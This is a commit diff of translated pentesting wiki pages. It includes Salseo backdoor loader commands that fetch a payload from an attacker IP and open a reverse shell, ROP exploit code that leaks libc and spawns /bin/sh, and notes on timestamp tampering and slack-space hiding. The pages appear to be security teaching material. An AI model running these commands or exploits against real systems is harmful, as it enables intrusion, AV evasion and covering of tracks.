Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu

This commit is contained in:
Translator 2025-04-07 02:25:12 +00:00
parent 6409ca3b2e
commit 2f56108ac0
114 changed files with 3834 additions and 3024 deletions

View File

@ -284,8 +284,10 @@
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
@ -299,6 +301,7 @@
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
- [Mythic](windows-hardening/mythic.md)
# 📱 Mobile Pentesting

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
## Kuunda binaries
## Compiling the binaries
Pakua msimbo wa chanzo kutoka github na uunde **EvilSalsa** na **SalseoLoader**. Utahitaji **Visual Studio** iliyosakinishwa ili kuunda msimbo huo.
Unda miradi hiyo kwa ajili ya usanifu wa sanduku la windows ambapo unakusudia kuyatumia (Ikiwa Windows inasaidia x64 uunde kwa usanifu huo).
Unda miradi hiyo kwa ajili ya usanifu wa sanduku la windows ambapo utatumia (Ikiwa Windows inasaidia x64 uunde kwa usanifu huo).
Unaweza **kuchagua usanifu** ndani ya Visual Studio katika **"Build" Tab** ya kushoto katika **"Platform Target".**
(\*\*Ikiwa huwezi kupata chaguo hizi bonyeza kwenye **"Project Tab"** kisha kwenye **"\<Project Name> Properties"**)
(**Ikiwa huwezi kupata chaguo hizi bonyeza kwenye **"Project Tab"** kisha kwenye **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
@ -18,9 +18,9 @@ Kisha, jenga miradi yote miwili (Build -> Build Solution) (Ndani ya logi zitaone
![](<../images/image (1) (2) (1) (1) (1).png>)
## Andaa Backdoor
## Prepare the Backdoor
Kwanza kabisa, utahitaji kuandika **EvilSalsa.dll.** Ili kufanya hivyo, unaweza kutumia script ya python **encrypterassembly.py** au unaweza kuunda mradi **EncrypterAssembly**:
Kwanza kabisa, utahitaji kuandika **EvilSalsa.dll.** Ili kufanya hivyo, unaweza kutumia skripti ya python **encrypterassembly.py** au unaweza kuunda mradi **EncrypterAssembly**:
### **Python**
```
@ -32,15 +32,15 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Sawa, sasa una kila kitu unachohitaji kutekeleza mambo yote ya Salseo: **encoded EvilDalsa.dll** na **binary ya SalseoLoader.**
Sawa, sasa una kila kitu unachohitaji kutekeleza mambo yote ya Salseo: **EvilDalsa.dll iliyosimbwa** na **binary ya SalseoLoader.**
**Pakia binary ya SalseoLoader.exe kwenye mashine. Hazipaswi kugundulika na AV yoyote...**
## **Tekeleza backdoor**
### **Kupata TCP reverse shell (kupakua dll iliyosimbwa kupitia HTTP)**
### **Kupata shell ya TCP reverse (kupakua dll iliyosimbwa kupitia HTTP)**
Kumbuka kuanzisha nc kama msikilizaji wa reverse shell na seva ya HTTP kutoa evilsalsa iliyosimbwa.
Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse na seva ya HTTP kutoa evilsalsa iliyosimbwa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
@ -50,7 +50,7 @@ Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse, na seva ya SMB kutoa
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Kupata shell ya ICMP reverse (dll iliyokodishwa tayari ndani ya mwathirika)**
### **Kupata shell ya ICMP reverse (dll iliyosimbwa tayari ndani ya mwathirika)**
**Wakati huu unahitaji chombo maalum kwenye mteja kupokea shell ya reverse. Pakua:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@ -83,7 +83,7 @@ Fungua mradi wa SalseoLoader ukitumia Visual Studio.
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Tafuta kifurushi cha DllExport (ukitumia kichupo cha Browse), na bonyeza Sakinisha (na kubali popup)**
#### **Tafuta kifurushi cha DllExport (ukitumia tab ya Kagua), na bonyeza Sakinisha (na kubali popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)

View File

@ -5,9 +5,9 @@
## Muhtasari wa Haraka
1. **Pata** overflow **offset**
2. **Pata** gadget ya `POP_RDI`, gadget za `PUTS_PLT` na `MAIN`
2. **Pata** gadget ya `POP_RDI`, `PUTS_PLT` na gadget za `MAIN`
3. Tumia gadget za awali ku **onyesha anwani ya kumbukumbu** ya puts au kazi nyingine ya libc na **pata toleo la libc** ([donwload it](https://libc.blukat.me))
4. Pamoja na maktaba, **hesabu ROP na uifanye**
4. Pamoja na maktaba, **hesabu ROP na uitumie**
## Miongozo mingine na binaries za kufanya mazoezi
@ -57,7 +57,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Tekeleza** `python template.py` itafungua GDB console na programu itakuwa imeanguka. Ndani ya **GDB console** tekeleza `x/wx $rsp` kupata **bytes** ambazo zilikuwa zinaenda kufunika RIP. Hatimaye pata **offset** ukitumia **python** console:
**Tekeleza** `python template.py` konso ya GDB itafunguliwa na programu itakuwa inakabiliwa na ajali. Ndani ya **konso ya GDB** tekeleza `x/wx $rsp` ili kupata **bytes** ambazo zilikuwa zinaenda kufunika RIP. Hatimaye pata **offset** ukitumia konso ya **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -71,7 +71,7 @@ Njia nyingine ingekuwa kutumia: `pattern create 1000` -- _tekeleza hadi ret_ --
## 2- Kupata Gadgets
Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa muhimu kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**.
Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa na manufaa kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -88,9 +88,9 @@ The **POP_RDI** inahitajika **kupitisha** **parameter** kwa function iliyoitwa.
Katika hatua hii huwezi kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji.
## 3- Kutafuta maktaba ya libc
## 3- Kupata maktaba ya libc
Sasa ni wakati wa kutafuta ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutakuwa na **leak** **anwani** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani ambayo toleo la puts liko katika anwani hiyo.
Sasa ni wakati wa kupata ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutakuwa na **leak** **anwani** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani toleo la puts liko katika anwani hiyo.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -124,7 +124,7 @@ Ili kufanya hivyo, mstari muhimu zaidi wa msimbo uliofanywa ni:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Hii itatuma baadhi ya bytes hadi **kuandika** **RIP** iwezekanavyo: `OFFSET`.\
Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika rejista ya **RDI**. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayoelekezwa na `PUTS_GOT`.\
Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika rejista ya **RDI**. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayotolewa na `PUTS_GOT`.\
Baada ya hapo, `PUTS_PLT` itaitwa (ikiwa na `PUTS_GOT` ndani ya **RDI**) ili puts **isome maudhui** ndani ya `PUTS_GOT` (**anwani ya kazi ya puts katika kumbukumbu**) na it **ichapishe**.\
Hatimaye, **kazi ya main inaitwa tena** ili tuweze kutumia overflow tena.
@ -132,7 +132,7 @@ Kwa njia hii tumem **danganya kazi ya puts** ili **ichapishe** **anwani** katika
![](<../../../../images/image (1049).png>)
Kwa kuwa tun **atumia** baadhi ya **binary** za **local** si **lazima** kubaini ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\
Kwa kuwa tun **atumia** baadhi ya **binary** za **local** si **lazima** kujua ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\
Lakini, katika kesi ya exploit ya mbali nitafafanua hapa jinsi unavyoweza kulipata:
### 3.1- Kutafuta toleo la libc (1)
@ -156,7 +156,7 @@ Ili hii ifanye kazi tunahitaji:
- Jina la alama ya Libc: `puts`
- Anwani ya libc iliyovuja: `0x7ff629878690`
Tunaweza kubaini ni **libc** ipi ambayo ina uwezekano mkubwa inatumika.
Tunaweza kubaini ni **libc** ipi ambayo inawezekana inatumika.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
@ -183,13 +183,13 @@ gets
```
## 4- Kupata anwani ya libc kulingana na msingi & kutumia
Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani, nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
Hivyo, mwanzoni mwa `template.py` badilisha **libc** variable kuwa: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Kutoa **path** kwa **maktaba ya libc** sehemu nyingine ya **exploit itahesabiwa kiotomatiki**.
Kutoa **path** kwa **maktaba ya libc** sehemu nyingine ya **exploit itakuwa inakokotwa kiotomatiki**.
Ndani ya `get_addr`function **anwani ya msingi ya libc** itahesabiwa:
Ndani ya `get_addr`function **anwani ya msingi ya libc** itakokotwa:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> Kumbuka kwamba **anwani ya mwisho ya msingi ya libc lazima iishe na 00**. Ikiwa hiyo si hali yako unaweza kuwa umepata maktaba isiyo sahihi.
Basi, anwani ya kazi `system` na **anwani** ya mfuatano _"/bin/sh"_ zitakuwa **zinahesabiwa** kutoka kwa **anwani ya msingi** ya **libc** na kutolewa kwa **maktaba ya libc.**
Kisha, anwani ya kazi `system` na **anwani** ya mfuatano _"/bin/sh"_ zitakuwa **zinahesabiwa** kutoka kwa **anwani ya msingi** ya **libc** na kutolewa kwa **maktaba ya libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -218,26 +218,26 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Hebu tueleze hii ROP ya mwisho.\
ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi ya main, kisha tunaweza **ku exploit tena** **overflow** (ndiyo maana `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwenye **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapitishwa kama parameter.\
ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi kuu, kisha tunaweza **ku exploit tena** **overflow** (ndiyo maana `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwenye **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapewa kama parameter.\
Hatimaye, **anwani ya kazi ya exit** inaitwa ili mchakato **uondoke vizuri** na tahadhari yoyote itazalishwa.
**Kwa njia hii exploit itatekeleza \_/bin/sh**\_\*\* shell.\*\*
**Hivi ndivyo exploit itatekeleza _/bin/sh_ shell.**
![](<../../../../images/image (165).png>)
## 4(2)- Kutumia ONE_GADGET
Unaweza pia kutumia [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kupata shell badala ya kutumia **system** na **"/bin/sh". ONE_GADGET** itapata ndani ya maktaba ya libc njia fulani ya kupata shell kwa kutumia tu **anwani moja ya ROP**.\
Hata hivyo, kawaida kuna baadhi ya vizuizi, zile za kawaida na rahisi kuepuka ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka vizuizi hivyo.
Hata hivyo, kawaida kuna vikwazo fulani, ambavyo ni vya kawaida na rahisi kuepukwa ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka kikwazo.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## FAILI LA KUVUNJA
## FAILI LA KUTUMIA
Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:
Unaweza kupata kigezo cha kutumia udhaifu huu hapa:
{{#ref}}
rop-leaking-libc-template.md
@ -247,13 +247,13 @@ rop-leaking-libc-template.md
### MAIN_PLT = elf.symbols\['main'] haipatikani
Ikiwa alama "main" haipo. Basi unaweza kupata wapi kuna msimbo mkuu:
Ikiwa alama ya "main" haipo. Basi unaweza kupata wapi kuna msimbo mkuu:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
na weka anwani kwa mikono:
na kuweka anwani kwa mikono:
```python
MAIN_PLT = 0x401080
```
@ -263,7 +263,7 @@ Ikiwa binary haitumii Puts unapaswa kuangalia ikiwa inatumia
### `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Ikiwa utapata **kosa** hili baada ya kuunda **zote** exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Ikiwa unapata **kosa** hili baada ya kuunda **yote** ya exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Jaribu **kupunguza byte 64 kutoka anwani ya "/bin/sh"**:
```python

View File

@ -10,7 +10,7 @@ Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/R
Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack.
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kigezo cha urefu**, zinaweza kutumika kwa njia hatarishi ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa.
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa.
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
```c
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
Njia ya kawaida zaidi ya kutafuta stack overflows ni kutoa ingizo kubwa la `A`s (kwa mfano `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu \_n**\_\*\* inaonekana mara moja tu\*\* kama subsequence iliyo karibu.
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence iliyo karibu.
Kwa njia hii, badala ya kuhitaji kubaini ni ofseti ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kutafuta ofseti ya bytes ambazo zilimaliza kufuta hiyo.
@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
## Kutumia Stack Overflows
Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha** katika kiashiria hiki.
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobaini** katika kiashiria hiki.
Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** kunaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).
Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** inaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).
### Ret2win
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:
{{#ref}}
ret2win/
@ -71,9 +71,9 @@ Katika hali hii mshambuliaji anaweza kuweka shellcode katika stack na kutumia EI
stack-shellcode/
{{#endref}}
### ROP & Ret2... mbinu
### ROP & Ret2... techniques
Mbinu hii ni muundo wa msingi wa kupita ulinzi mkuu wa mbinu ya awali: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:
Teknolojia hii ni muundo wa msingi wa kupita ulinzi mkuu wa teknolojia ya awali: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:
{{#ref}}
../rop-return-oriented-programing/

View File

@ -184,15 +184,15 @@ Herufi kwa thamani yao ya nambari
```
### Affine Cipher Encode
Herufi kwa nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
Herufi hadi nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
```
krodfdudfrod
```
### SMS Code
**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na nambari husika kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\
**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na msimbo wa funguo unaolingana kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\
Kwa mfano: 2=A, 22=B, 222=C, 3=D...\
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazojirudia\*\*.
Unaweza kutambua msimbo huu kwa sababu utaona **nambari kadhaa zinazojirudia**.
Unaweza kufungua msimbo huu katika: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
@ -225,7 +225,7 @@ fgaargaamnlunesuneoa
```
### Vigenere
Inahitajika neno muhimu
Inahitajika neno la ufunguo
```
wodsyoidrods
```
@ -237,7 +237,7 @@ wodsyoidrods
### Fernet
2 base64 strings (token na ufunguo)
2 mfuatano wa base64 (token na ufunguo)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==

View File

@ -25,7 +25,7 @@
## Encoders
Sehemu kubwa ya data iliyokodishwa inaweza kufichuliwa kwa kutumia rasilimali hizi 2:
Sehemu kubwa ya data iliyokodishwa inaweza kufutwa na rasilimali hizi 2:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -120,11 +120,13 @@ Angalia hizi zote za msingi na: [https://github.com/dhondta/python-codext](https
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Kufa: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
@ -152,6 +154,8 @@ end
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
@ -180,7 +184,7 @@ Herufi kwa thamani yao ya nambari
```
### Affine Cipher Encode
Herufi hadi nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
Herufi kwa nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
```
krodfdudfrod
```
@ -188,7 +192,7 @@ krodfdudfrod
**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na msimbo wa funguo unaolingana kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\
Kwa mfano: 2=A, 22=B, 222=C, 3=D...\
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazojirudia\*\*.
Unaweza kutambua msimbo huu kwa sababu utaona **nambari kadhaa zinazojirudia**.
Unaweza kufungua msimbo huu katika: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
@ -205,7 +209,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
## Compression
**Raw Deflate** na **Raw Inflate** (unaweza kupata zote mbili katika Cyberchef) zinaweza kubana na kufungua data bila vichwa.
**Raw Deflate** na **Raw Inflate** (unaweza kuzipata zote katika Cyberchef) zinaweza kubana na kufungua data bila vichwa.
## Easy Crypto
@ -215,13 +219,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
Inahitajika neno la ufunguo
Neno la ufunguo linahitajika
```
fgaargaamnlunesuneoa
```
### Vigenere
Inahitajika neno muhimu
Inahitajika neno la ufunguo
```
wodsyoidrods
```
@ -233,7 +237,7 @@ wodsyoidrods
### Fernet
2 base64 strings (token na ufunguo)
2 mfuatano wa base64 (token na ufunguo)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==

View File

@ -3,7 +3,7 @@
# Timestamps
Mshambuliaji anaweza kuwa na hamu ya **kubadilisha timestamps za faili** ili kuepuka kugunduliwa.\
Inawezekana kupata timestamps ndani ya MFT katika sifa `$STANDARD_INFORMATION` ** na ** `$FILE_NAME`.
Inawezekana kupata timestamps ndani ya MFT katika sifa `$STANDARD_INFORMATION`**na**`$FILE_NAME`.
Sifa zote zina timestamps 4: **Modification**, **access**, **creation**, na **MFT registry modification** (MACE au MACB).
@ -11,7 +11,7 @@ Sifa zote zina timestamps 4: **Modification**, **access**, **creation**, na **MF
## TimeStomp - Anti-forensic Tool
Zana hii **inasanifu** taarifa za timestamp ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli** **za kutatanisha**.
Zana hii **inabadilisha** taarifa za timestamp ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli** **za kutatanisha**.
## Usnjrnl
@ -23,13 +23,13 @@ Picha ya awali ni **matokeo** yanayoonyeshwa na **zana** ambapo inaonekana kuwa
## $LogFile
**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka kuu ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kutambua mabadiliko.
**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka ya mzizi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kutambua mabadiliko.
![](<../../images/image (450).png>)
Tena, katika matokeo ya zana inawezekana kuona kuwa **baadhi ya mabadiliko yalifanywa**.
Kwa kutumia zana hiyo hiyo inawezekana kutambua **ni wakati gani timestamps zilipobadilishwa**:
Kwa kutumia zana hiyo hiyo inawezekana kutambua **wakati timestamps zilipobadilishwa**:
![](<../../images/image (451).png>)
@ -40,7 +40,7 @@ Kwa kutumia zana hiyo hiyo inawezekana kutambua **ni wakati gani timestamps zili
## `$STANDARD_INFORMATION` na `$FILE_NAME` kulinganisha
Njia nyingine ya kutambua faili zilizobadilishwa kwa njia ya kutatanisha ni kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**.
Njia nyingine ya kutambua faili zilizobadilishwa kwa njia ya kutatanisha ingekuwa kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**.
## Nanoseconds
@ -52,22 +52,22 @@ Zana hii inaweza kubadilisha sifa zote mbili `$STARNDAR_INFORMATION` na `$FILE_N
# Data Hiding
NFTS inatumia klasta na ukubwa wa taarifa wa chini. Hii inamaanisha kwamba ikiwa faili inachukua klasta na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili itakapofutwa. Hivyo, inawezekana **kuficha data katika nafasi hii ya slack**.
